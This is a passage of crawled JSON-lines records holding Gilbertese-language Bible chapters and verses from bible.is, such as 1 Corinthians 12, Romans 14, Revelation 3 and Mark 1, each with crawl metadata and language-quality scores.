11Bon te Tamnei 12Kristo ai aron te rab'ata ae ti teuana, ae a bati b'aina; ma e boni ngae ni bati b'aina, ma bon te rab'ata ae ti teuana. 13B'a ti bane ni b'abetitoaki nako nanon te rab'ata ae ti teuana iroun te Tamnei 14B'a tiaki ti teuana b'ain te rab'ata, ma a bati b'aina. 15Ngkana tao e kangai te wae, \"Ngkai tiaki te bai ngai, ao tiaki b'ain te rab'ata ngai,\" ao tiaki nanona b'a e a riki naba iai b'a tiaki b'ain te rab'ata. 16Ao ngkana tao e kangai te taninga, \"Ngkai tiaki te mata ngai, ao tiaki bain te rab'ata ngai,\" ao tiaki nanona b'a e a riki naba iai b'a tiaki b'ain te rab'ata. 17Ngkana arona b'a te mata te rab'ata ni kabanea, ao e nga te ongo? Ao ngkana te taninga te rab'ata ni kabanea, ao e nga te aroboi? 18Ma E a tia te Atua ni kabane b'ain te rab'ata n tatabeua nako ni kaki n te rab'ata, n ai aron nanona. 19Ao ngkana arona b'a a bane b'ain te rab'ata n riki b'a b'aina ae ti teuana, ao e nga te rab'ata? 20Ma n arona ae ngkai: a bati b'aina, ma te rab'ata bon ti teuana. 21Ao e aki kona ni kangai te mata nakon te bai, \"I aki kainanoiko!\" ke te atu nakon te wae ni kangai, \"I aki kainanoingkami!\" 22Ma moan te kai te nano ngkana akea b'ain te rab'ata aika atongaki b'a a mamara riki; 23ao ti kabatiai riki karineani b'ain te rab'ata aika ti taku b'a a mangori, ao a m'aiti riki aron tararuani b'ain rab'atara aika aki tau n te noraki; 24arora aikai, a aki kainanoaki i bukini b'ain te rab'ata aika a tau aroia n te noraki. Ma te Atua E a tia ni karaoa te rab'ata n te aro are e na iai riki karineani b'aina are akea karineana, 25b'a e kawa n riki te bwenaua n te rab'ata, ma a na i akoakoi b'ain nako te rab'ata n te aro ae ti te arona nako ia n tatabeua nako. 26Ngkana e maraki b'ain te rab'ata teuana, ao a bane naba ni maraki b'ain nako te rab'ata ma ngaia; ao ngkana e karineaki b'ain te rab'ata teuana, ao a bane b'ain nako te rab'ata ni kim'areirei ma ngaia. 27Rab'atani Kristo ngkami, ao b'ain rab'atana ngkami n tatabemaningkami. 28Ao E a tia te Atua ni kateia tem'angina i nanon te ekaretia: taan tuatua moa; te kauoua, burabeti; te katenua, taan reirei; ao i mwiia, taani karaoi m'akuri aika kamimii; ao i mwiia, te koraki aika anganaki te b'ai n tituaraoi i bukini katokan aoraki; ma taani buobuoki, ma taani kairiri, ma taan taetae n taetae aika a aki ataaki nanoia. 29Taan tuatua aomata ni kabaneia? Burabeti aomata ni kabaneia? Taan reirei aomata ni kabaneia? Taani karaoi m'akuri aika kamimii aomata ni kabaneia? 30Iai irouia aomata nako b'aai n tituaraoi i bukini katokan aoraki? A bane aomata nako n taetae n taetae nako aika a aki ataaki nanoia, ao a kona ni kab'arai nanoia? 31Ma kam na tangiri riki b'aai n tituaraoi aika moa ni kakannato.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/12","date":"2016-10-22T12:18:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988718957.31\/warc\/CC-MAIN-20161020183838-00267-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":727,"character_repetition_ratio":0.099,"word_repetition_ratio":0.022,"special_characters_ratio":0.255,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21B'a aron te bure ngke e noraki arona n uea n te mate, ao ai arona naba b'a e na uea te akoi ni kaetan arora n reitaki ma te Atua, ao ni kairira naba nakon te maiu are aki toki iroun Iesu Kristo are ara UEA. Ao te bure e karokoa te mate, ao a bane n rotaki aomata ni kabaneia n te mate i bukina b'a a bane ni bure.\nROM 5:21\nFREE!\nOne App.\n1213 Languages.","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/21","date":"2016-10-28T15:19:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988722653.96\/warc\/CC-MAIN-20161020183842-00317-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":77,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.279,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam na m'anea n akoa te aomata ae mamara n ana onimaki, ma tai kauntaeka ma ngaia i bukin tein aron ana iango. 2E taku temanna n ana koaua b'a e riai i rouna te kang am'arake ni kabane, ao temanna ae mamara n ana onimaki e taku b'a e riai i rouna te kang am'arake man aroka nako. 3Te aomata are kang am'arake nako e na aki kakeaa bongan te aomata are iai baika e aki kona ni kang; ao te aomata are kang ti am'arake man aroka nako ke e tai kabuakaka te aomata are kang am'arake nako, i bukina b'a e butim'aeaki arona anne iroun te Atua. 4Antai ngkoe b'a ko na bairea taekan ana toro temanna ni kabuakaka? Bon ana toka ae na bairea taekana b'a e nako raoi ana m'akuri ke e aki. Ma ane e na nako raoi ana m'akuri te toro, b'a E kona te Atua ni buokia b'a e aonga n nako raoi ana m'akuri. 5E taku temanna b'a e kakannato riki te bong teuana nakoni boong ni kabane, ao temanna e taku b'a ti te bo aroni boong nako. Ke a kareke nanoia aomata nako aika a na aki katiotioaki aia iango iai. 6Ane kawakina te bong teuana b'a e kakannato i rouna, ao e kawakinna i bukin te UEA; ao ane kang am'arake nako, ao e kang i bukin te UEA, b'a e katituaraoa te Atua; ao ane aki kang am'arake tabeua, ao e karaoia i bukin te UEA. 7B'a akea i buakora ae maiu bon i bukina, ao akea naba ae mate bon i bukina. 8B'a ngkana ti maiu, ao ti maiu i bukin te UEA, ao ngkana ti mate, ao ti mate naba i bukin te UEA. Ma ngaia ae ngkana ti maiu ke ti mate ao ana b'ai naba te UEA ngaira. 9B'a E mate Kristo ao E a manga uti i bukin aei, b'a E aonga n riki b'a aia UEA ake a mate ma ake a maiu. 10Ao ngkoe, ko aera ngkai ko motika taekan tarim? Ao manga ngkoe, ko aera ngkai ko kakeaa bongan tarim? B'a ane ti na bane n tei i matan te Atua b'a a na motikaki taekara i rouna. 11B'a e koreaki ae kaangai: E taku te UEA, \"Ngkai I maiu, ao ane a na bane bubuaniwae ni katorobubua nako iu, Ao a na bane neewe n neboa te Atua.\" 12Ma ngaia ae ti na bane ni kaoti arora n tatabemaniira nako nakon te Atua. 13Ma ngaia ae ti na katoka arora ae te i-kabuakaka, ao ti na karekea ara baire b'a a na akea ae na kaaki te b'ai ni katatata ke ni kab'akab'aka i matan tarina. 14Ngkai I reitaki ma te UEA are Iesu n au onimaki, ao I bon ataia raoi b'a akea te b'ai ae kam'ara n arona are e karikaki iai; ma ane taku b'a e kam'ara te b'ai teuana, ao e boni kam'ara i bukina. 15B'a ngkana e rawawata nanon tarim i bukini kanam, ao ko aki nakonako n te aro n tangira. Tai urua maiun temanna are E mate Kristo i bukina, n te am'arake are ko kanna. 16Ma ngaia ae kam na tarataraia b'a e na aki atongaki b'a e buakaka te bae raoiroi iroumi. 17B'a tiaki uean te Atua te am'am'arake ma te momooi, ma bon te katei ni maiu are karaoan nanon te Atua, ma te rau, ma te kim'areirei ake ti anganaki iroun te Tamnei. 18B'a ane toro irouni Kristo ni baikai ao E kukurei te Atua i rouna, ao e kakoauaki irouia aomata b'a e raoiroi arona. 19Ma ngaia ae ti na uaiakin rekeni b'aai aika a na karekea te rau, ao baika na buoka kateimatoan temanna ma temanna n ana onimaki. 20Tai urua ana m'akuri te Atua i bukini kanam. Akea te am'arake ae kam'ara, ma e bure kanakin te am'arake are e na riki b'a te b'ai ni kab'akab'aka nakon temanna. 21E raoiroi te aki kang iriko ma te aki moi wain, ma aki karaoan te b'ai teuana are e na riki b'a te b'ai ni kab'akab'aka nakon tarim. 22Am onimaki ane i roum ae kaeti ma baikai, bon am b'ai i marenam ma te Atua. E a kab'aia te aomata are namakinna b'a e aki kabuakakaki n are karaoia ngkana e koaua iai b'a e aki bure. 23Ma ane nanokokoraki ngkana e am'arake, ao e kabuakakaki iai i bukina b'a e aki karaoia ma te nano n onimaki; b'a te bae karaoaki ma te aki onimaki bon te bure.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/14","date":"2016-10-23T20:54:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719416.57\/warc\/CC-MAIN-20161020183839-00178-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":755,"character_repetition_ratio":0.063,"word_repetition_ratio":0.003,"special_characters_ratio":0.257,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te kabanea ngkanne: taari, kam na tataro i bukira b'a e na waekoa ni buta nako ana taeka te Uea, ao e na butim'aeaki ni karineaki, n ai aroarona naba i roumi. 2Tataro naba b'a ti na kamaiuaki mairouia aomata aika akiako aika buakaka; b'a a aki bane aomata n onimaki. 3Ma E kakaonimaki te Uea; E na kateimatoaingkami ma ni kawakiningkami mairoun teuare buakaka. 4E karika i nanora te Uea te aki nanokokoraki i bukimi: b'a kam karaoi baika ti tuangngkami, b'a kam na bon aki toki ni karaoi. 5Ao E na kairi nanomi te Uea nako nanon ana tangira te Atua, ao nako nanon nanom'aakani Kristo. 6Taari, ti tuangngkami n aran ara Uea are Iesu Kristo, b'a kam na kararoaingkami mairoun te tari nako ae rawa ni kani m'akuri, ao e aki iri nanon taeka n reirei ake ti anganiia. 7B'a kam atai baika kam riai ni kakairi i roura iai. Akea i roura te nano n rawa ni kani m'akuri ngke ti mena i roumi, 8ao ti aki n ae ti am'arake ao ti aki kabooa karara mairoun are ti karekea i rouna. Ma ti rangi ni kakorakoraira ni m'akuri n te bong ao n te ngaina, b'a ti aonga n aki karawawata temanna i buakomi. 9Ti karaoa aei, tiaki i bukina b'a akea ara riai n tuangngkami buokara, ma i bukina b'a ti kan riki b'a te banna ni kakairi nako imi ae kam na katotongnga. 10B'a ngke ti mena i roumi, ao ti tuangngkami ae kangai, \"Ngkana e aki kani m'akuri temanna, ao ke e tai am'arake.\" 11B'a ti ongo taekaia tabem'aang i buakomi aika rawa ni kani m'akuri, b'a akea aia m'akuri ma ti te katabetabeiia aomata. 12Ti tuangiia ma ni butiia aomata akana aroia aikai, n aran te Uea are Iesu Kristo, b'a a na karau aroia ao a na m'akuri b'a a aonga ni kang oini kanaia. 13Ao ngkami, taari, a na aki b'ara nanomi mani karaoan ae raoiroi; 14ao ngkana e aki ongeaba temanna nakon ara taeka n te reta aei, ao kam na kanikinaea, b'a kam na aki i raorao ma ngaia, b'a e aonga ni mamaa. 15Kam na aki iangoia b'a ami kairiribai, ma kam na reireiia n ai aron te tari. 16E na anganingkami te raoi n aki toki n aaro nako te Uea are e reke te raoi mai Rouna. E na mena te Uea i roumi ni kabaneingkami. 17Aio arou ni koroboki n oin taboni baiu: Kam na mauri mairouni B'auro. Aei arou n tiainai au reta, ao arou ni koro reta. 18E na mena i roumi ni kabaneingkami ana akoi ara Uea are Iesu Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/2Thess\/3","date":"2016-10-27T11:12:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721268.95\/warc\/CC-MAIN-20161020183841-00552-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":441,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:2222Ma e taku te B'aib'ara b'a a bane aomata nako ni mena i aani m'aakan te bure; ma ngaia are ana taeka n akoi te Atua bon i bukiia akana onimakina Iesu Kristo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/22","date":"2016-10-25T09:19:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720000.45\/warc\/CC-MAIN-20161020183840-00210-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":0.9995105267,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9995105266571045}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko na tai boaa ane e a unimm'aane, ma ko na anganna am taeka ni buokia b'a kanga tamam. Ko na reitaki ma rorobuaka b'a kanga tarim, 2ao unaine b'a kanga tinam; ao ko na reitaki n te aro ae itiaki ma ateiaine b'a kanga m'anem. 3Ko na karineia n akoia aine aika boni kananoanga ni koaua ngkai a mate buia. 4Ma ngkana iai natin ke tibun te aine ae kananoanga ae e mate buna, ao a na reireiaki moa aroia ni karaoi tabeia aika a aanaki n ana kaantaninga te Atua nakoia oin aia utu, ma ni kabooa akoakiia irouia aia karo ma tibuia: b'a e riai aei i matan te Atua. 5Ao te aine ae kananoanga ni koaua, ngkae e mate buna ao e tiku n ti ngaia, e mwiokoa te Atua ni maiuna, ao e botum'aka n tatataro ni bubuti n te bong ao n te ngaina. 6Ma te aine ae ti te kani kakukureia rab'atana, e boni ngae ngke e maiu, ma e mate. 7Ko na tuangiia baikai, b'a a aonga n aki kabuakakaki. 8Ma ngkana e aki karekei baika riai te aomata i bukiia ana koraki, ao ai moa ra riki i bukin oin ana utu, ao kaotana b'a e a kaaki taekan te onimaki, ao e a buakaka riki nakon are tiaki te tia onimaki. 9E na koreaki aran te aine ae e mate buna i buakon araia aine aika a mate buia ngkana e a koro onongaun ana ririki, ao te aine ngaia ae ti teuana ana tai ni mareaki; 10ao e kakoauaki b'a te aine ngaia ae kakaraoi m'akuri aika raraoi, n arona ni kaikawaia natina, n akoia iruwa, n teboki waeia raona ni Kristian, ni buokiia aika rawawata, ao n arona ni botum'aka ni karaoi m'akuri aika raraoi ni kabane. 11Ma ko na tai korei araia ateiaine aika a mate buia i buakon araia aine aika a mate buia; b'a n te tai are e roko iai nanoia ae korakora ni kan iein, ao ane a na rairaki nako mairouni Kristo; 12ao a reke kabuakakaia iai, i bukina ngkai a urua aia taeka ni bau nakoni Kristo. 13I rarikin anne, ao a reireiia naba te aro ni kabane tai n aroia ni kawara te auti teuana ma teuana; ao a aki tii kabane tai n aroia anne, ma a bon riki naba b'a taan ua-taeka, ao taani katabetabea te aba, n aroia n tataekini baika aki riai n taekin. 14Ma ngaia ae I tangiriia riki ateiaine aika a mate buia b'a a na iein, a na karikiia natiia, a na tararuaia aia utu, ao a na aki karekea te anga are e na kabuakakaira iai te kairiribai; 15b'a a a tia tabem'aang i buakoia ateiaine aika a mate buia n rairaki nako n ira Tatan. 16Ma ngkana iai aine aika a mate buia i buakoia ana utu te aine ae te Kristian, ao e riai neienne ni buokiia. E na aki karawaawata te ekaretia, b'a e aonga n tabeakiniia aine aika kananoanga ni koaua ngkai a mate buia. 17A riai unimm'aane aika raoiroi aia kairiri n iangoaki b'a e riai ni kataboroaki nakoia booia, ai moa ra riki nakoia te koraki aika korakora aia m'akuri ni kab'arab'ara ma n reirei; 18b'a e kaangai te B'aib'ara: \"Ko na tai kabaea wiin te kao ngkana e tabe n toutoua te uita ni kaaki kunna\" ao \"E riai b'a e na anganaki te tia m'akuri boon ana m'akuri.\" 19Ko na tai butim'aea taekani bukinan te unimm'aane, ma ti ngkana iai uoman ke teniman taani kakoauaa bukinana. 20Ko na boaiia akana bure i mataia aomata ni kabaneia, b'a a aonga ni maku naba raoia. 21I tuangko i matan te Atua, ma Kristo Iesu, ma ana anera te Atua, b'a ko na tou mwiini baikai ma te nano ae eti ae aki nanonano. 22Ko na tai kukuri ni katokaa baim i aon temanna ni katabua nakon nakoana i bukin te Uea. Ko na tai buokanib'ai n aia bure tabem'aang; ko na b'aina te maiu ae itiaki. 23Ko na tai moi n te ran n ti ngaia, ma ko na moi n te wain teutana i bukini birotom ma aorakim nako aika ko itutuuaki iai. 24Akea te kangaanga n aia bure tabem'aang b'a a teretere aroia, ao a ri moaia nakon te motiki-taeka; ma aia bure tem'angina a tib'a kaoti rimwi. 25Ao ai arona naba, b'a akea te kangaanga ni m'akuri aika raraoi b'a a teretere aroia, ao ake a aki bati n teretere a aki kona n raba.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/5","date":"2016-10-22T23:44:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719079.39\/warc\/CC-MAIN-20161020183839-00093-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":753,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1\"Ao ko na koroboki nakon ana anera te ekaretia are i Tareteiti ni kaangai: \"E kaangai Teuare iai i rouna itoi ake itiua ma tamnei aika itiman ake mairoun te Atua, I atai aroarom; e ataaki taekam b'a ko maiu, ma ko boni mate. 2Ko na kamarurungko, ao ko na kateimatoai baikana tuai ni mauna, akana nangi mate; b'a I aki noori baika ko a tia ni karaoi b'a a kororaoi aroia i matan te Atua. 3Ma ngaia ae ko na uringa aron are ko reireiaki iai ma are ko ongo; ao ko na taua, ao raira nanom. Ma ngaia aei, ngkana ko aki kamarurungko, ao ae N na nako im n ai aron te tia ira, ao ane ko na bon aki ata te aoa ae N na roko iai i roum. 4Ma iai araia tem'angina i roum ikanne i Tareteiti ake a tuai ni kabaarekai kunnikaia: a na nakonako ma Ngai ni kunnikaiia ni kunnikai aika mainaina, b'a a bon tau. 5Ane tokanikai ao e na kunnikaia ni kunnikai aika mainaina; ao N na bon aki kamaunaa arana man te boki ni maiu arei, ao N na kaotia b'a bon au aomata i matan Tamau ao i mataia ana anera. 6\"Ane iai taningana ao ke e ongo ana taeka te Tamnei 7\"Ao ko na koroboki nakon ana anera te ekaretia i Biraterebia ni kaangai: \"E kaangai Teuare tabu, are kakaonimaki, are iai i rouna ana king Tawita, are ngkana E kauka te mataroa ao akea ae kona ni kainna, ao ngkana E kainna ao akea ae kona ni kaukia. 8I atai aroarom. Noria, I kaaki i matam te mataroa ae uki, ae e aki kona temanna ni bonotia. E karako korakoram, ma ko taua au taeka, ao ko aki kakeaa arau. 9Noria, N na kanakoia tem'angina man ana botannaomata Tatan b'a a na bobaraaki i rarikini waem, te koraki aika taani kewe, aika taku b'a I-Iutaia ngaiia, ma bon tiaki, ao a na ataia b'a I tangiriko. 10Ngkai ko a tia ni kawakina au taeka nako im b'a ko na nanom'aka, ao N na kawakiniko naba man te aoa ni kaririaki are nangi roko i aon te aba ni kabuta, ni kataia ake a maeka iai. 11Ae N na waetata n roko; ko na taua ane i roum, b'a e na aki uota nako am baunuea temanna. 12Ane tokanikai, ao N na karaoia b'a bouan ana Tembora Atuau, ao e na bon aki kona n oti nako mai iai; ao N na korea aran ana kaawa Atuau i aona, ao N na korea naba arau ae boou i aona. 13\"Ane iai taningana ao ke e ongo ana taeka te Tamnei 14\"Ao ko na koroboki nakon ana anera te ekaretia are i Raorikeia ni kaangai: \"E kaangai te Amen are te Tia Kaotioti are kakaonimaki are koaua, are a moa mai Rouna baika karikaki iroun te Atua: 15I atai aroarom; I ataia b'a ko aki mariri ao ko aki bue. Ko bia mariri ke ni bue! 16Ao ngkai ko aang teutana, n aki mariri ke ni bue, ao N na mumutaiko mai wiiu. 17Ngkai ko kaangai: I kaub'ai, ao a kabatiaki au b'ai, ao I aki kainano n te b'ai teuana; ao ko aki ataiko b'a te aomata ae e kai nanona ngkoe, ao ko kananoanga; ko aki kaub'ai, ko matakii, ao akea karabaam. 18Ma ngaia ae aio au taeka n reirei nako im: ko na kabooa te koora ae irou, ae te koora ae aki rengarengan, b'a ko aonga ni kaub'ai. Ko na kabooi kunnikai aika mainaina b'a ko aonga ni kunnikaiko, ao b'a e aonga n aki noraki arom n aki karabaniko ae kamamaa; ao ko na kabooa naba b'aini kabiran te mata ni kabiri matam iai, b'a ko aonga n noraba. 19Akana I tangiriia ao I boaiia ma n reireiia aroia aika riai; ma ngaia ae ko na kakorakorako ao raira nanom. 20Noria, I tei i rarikin te mataroa, ao I karebwerebwe: ngkana e ongo b'anaau temanna, ao ngkana e kauka te mataroa, ao N na nakoina, ao N na am'arake ma ngaia, ao ngaia ma Ngai. 21Ane tokanikai, ao N na anganna te kona n tekateka ma Ngai n au kaintokanuea, n ai arou naba ngke I tokanikai ao I tekateka ma Tamau n ana kaintokanuea. 22\"Ane iai taningana ao ke e ongo ana taeka te Tamnei\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/3","date":"2016-10-28T08:48:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721595.48\/warc\/CC-MAIN-20161020183841-00560-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":723,"character_repetition_ratio":0.052,"word_repetition_ratio":0.039,"special_characters_ratio":0.248,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Moan euangkerion Iesu Kristo are Natin te Atua, 2n ai aron are e koreaki iroun Itaia are te burabeti, ni kangai: \"Noria, I kanakoa au tia ua rongorongo ri moam b'a e na katauraoa kawaim; 3B'anaan temanna ae takarua n te rereua ni kangai, 'Katauraoa kawain te Uea; ao kaeti kawaina nako.' \" 4E kaoti Ioane are te tia B'abetito n te rereua ao e tataekina aron te b'abetito are kaeti ma te rairannano i bukini kab'arani buure. 5Ao a bane ni kawaria aomata nako ake a maeka i Iutaia, ma i Ierutarem, ao a b'abetitoaki i rouna n te karaanga are te Ioretan, ngke a kaoti aia bure. 6E kunnikaia Ioane ni buraen te kamero, ao e b'aina te roo ae te kau b'a kabaean nuukana; ao e kakangii maan aika rokati ma aia karewe manibeeru. 7Ao e reirei ni kangai, \"Iai Temanna ae na roko n ri mwiu ae E korakora riki nako iu, ae I aki tau b'a N na baraaki ni kab'arai kabaean ana kauniwae. 8I b'abetitoingkami n te ran, ma Ngaia ane E na b'abetitoingkami n te Tamnei are Raoiroi.\" 9Ni boong akekei ao E roko Iesu mai Kariraia mani kawana are Natareta; ao E b'abetitoaki iroun Ioane n te karaanga are te Ioretan. 10Ao n te tai naba are E aerake iai man te ran, ao E nora karawa b'a e uki, ao te Tamnei are Raoiroi b'a E ruonna n ai aron te taobe; 11ao e roko te b'ana mai karawa, ae kangai, \"Boni Ngkoe Natiu ae Ko tangiraki i Rou, I kakatonga i Roum.\" 12Ao E waekoa ni kanakoaki iroun te Tamnei are Raoiroi nakon te rereua, 13ao E tiku ikekei n te maan ae abwi te bong ni kaririaki iai iroun Tatan; ao akea raona b'a ti maan aika aki manana; ao a akoia anera. 14I mwin te tai are e a tia n tauaki iai Ioane ma ni kainaki i nanon te karabuuti, ao E roko Iesu i Kariraia ao E tataekina ana euangkerio te Atua. 15Ao E taku, \"E a koro raoi te tai, ao e a kaan uean te Atua! Rairi nanomi ao onimakina te euangkerio!\" 16Ao ngke E nakonako ri rarikin namani Kariraia, ao E nora Timon ma Anterea are tarina ngke a kab'aka te karaun n te nama-b'a taan akawa ngaiia. 17E taku Iesu nako ia, \"Mai ri mwiu, ao N na karaoingkami b'a kam na riki b'a taan akawaia aomata.\" 18A aki tab'ara; a kitana aia karaun ao a nako n iria. 19Ao ngke E toutoua nako riki kawaina, ao E nora Iakobo are natin Tebetaio. Ma Ioane are tarina, ngke a mena n te boti b'a a bonobonoti karaun. 20E weteia naba, ao ngaiia a kitana tamaia are Tebetaio n te boti ma raona ake a kaboaki kam'akuraia, ao a iria. 21A roko i Kaberenaum, ao E rin Iesu ni m'aneabaia I-Iutaia n te Taabati, ao E reirei. 22Ao a mimi aomata n ana reirei: b'a E reireiia n ai aron ae m'aka, ao tiaki n ai aroia taani koroboki. 23N te tai aei, ao bon iai temanna ae taniaki iroun te anti ae buakaka. Ao e takarua ni kangai, 24\"Tera am b'ai i roura, Iesu, ae te I-Natareta? Ko nako mai b'a Ko na uruira? I kinako b'a Teuare Moan te Raoiroi Ngkoe, are mairoun te Atua.\" 25Ao E takuia Iesu ni kangai, \"Tai karongoa, ao oti nako mai rouna!\" 26Ao te tamnei are kam'ara e karika te aomata arei b'a e na kaatikitiki, ao e katakaruaea n te b'ana ae korakora, ao e oti nako mai rouna. 27A bane aomata ni mimi, ao a i titiraki ni kangai, \"Tera te baei? Te reirei ae boou? B'a E taetae ma te m'aka nakoia anti aika buakaka ao a ongo i Rouna.\" 28Ao e buta nako rongorongona nakon taabo nako ake i rarikini Kariraia. 29Ao E kitana te m'aneaba arei, ao E nako n aia auti Timon ma Anterea, ao raona Iakobo ma Ioane. 30E wene n aoraki n te kabuebue tinani buun Timon; ao a waekoa ni kaongoa Iesu taekana; 31ao E nako n taua baina, ao E kateirakea, ao e a toki naba kabuebuena; ao e touatiniia neierei. 32Ngke e a tairiki, ngke e a bungi taai, ao aomata a uotiia ni kabane ake a aoraki ma ake a taniaki irouia taimonio nako Ina. 33A bane kaain te kawa ni botaki i matan te mataroa. 34Ao E kamaiuia aika bati aika aoraki n aeka n aoraki nako, ao E kanakoia ngke a kinaa. 35N te bong are i mwina, n te tai ae boni maan i m'ain otin taai, ao E uti, ao E oti nako, ao E nako n te tabo ae akea te maeka iai, ao E tataro iai. 36Ao a ri mwina Timon ma uake raona ni kakaaea, 37ao ngke a kunea, ao a taku nako Ina, \"A bane n ukoukoriko aomata!\" 38Ao Ngaia E taku nako ia, \"Ti na nako ni kaawa aika i m'aira, b'a N na reirei naba iai; b'a aei bukin ae I nako mai iai.\" 39Ao E reirei ni kabuta aoni Kariraia i nanoni m'aneabaia nako; ao E kanakoia taimonio. 40Ao e nako Ina te aomata ae rebera ni butiia, ao e b'aka i aoni bubuaniwaena i matana, ao e taku nako Ina, \"Ko kona ni kaitiakai, ngkana nanom.\" 41Ao E nanoangaia Iesu, ao E arora baina n riingnga, ao e taku nako ina, \"I kani kaitiakiko! Ko na itiaki.\" 42Ao e rina n toki te rebera mai rouna, ao e kaitiakaki. 43Ao E kamatoatoa b'anaana nako ina ngke E kanakoa. 44Ao E taku, \"Tarataraiko b'a ko na aki tuanga temanna; ma naako moa, kaotiko nakon te ibonga, ao anga baike e tua Moote b'a b'aini kaitiakam, b'a te b'ai ni kakoaua nakoia aomata.\" 45Ao e taon nako, ao e a moana naba tataekinan te baerei ni katanoata rongorongona. Ma ngaia are E aki kona n rin n te kawa Iesu, ma E a mena naba n taabo ake aki maekanaki. Ao a kawaria aomata man taabo nako.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/1","date":"2016-10-26T19:11:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720972.46\/warc\/CC-MAIN-20161020183840-00546-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1004,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:1010b'a kam aonga ni karaoi baika boraoi ma nanon te UEA, aika E na kukurei iai, n aromi ni karaoi m'akuri nako aika raraoi; ao b'a kam aonga n ata riki aron te Atua, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/10","date":"2016-10-25T17:41:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720238.63\/warc\/CC-MAIN-20161020183840-00490-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000038146972656}","num_words":50,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e toki te kiriwe arei, ao 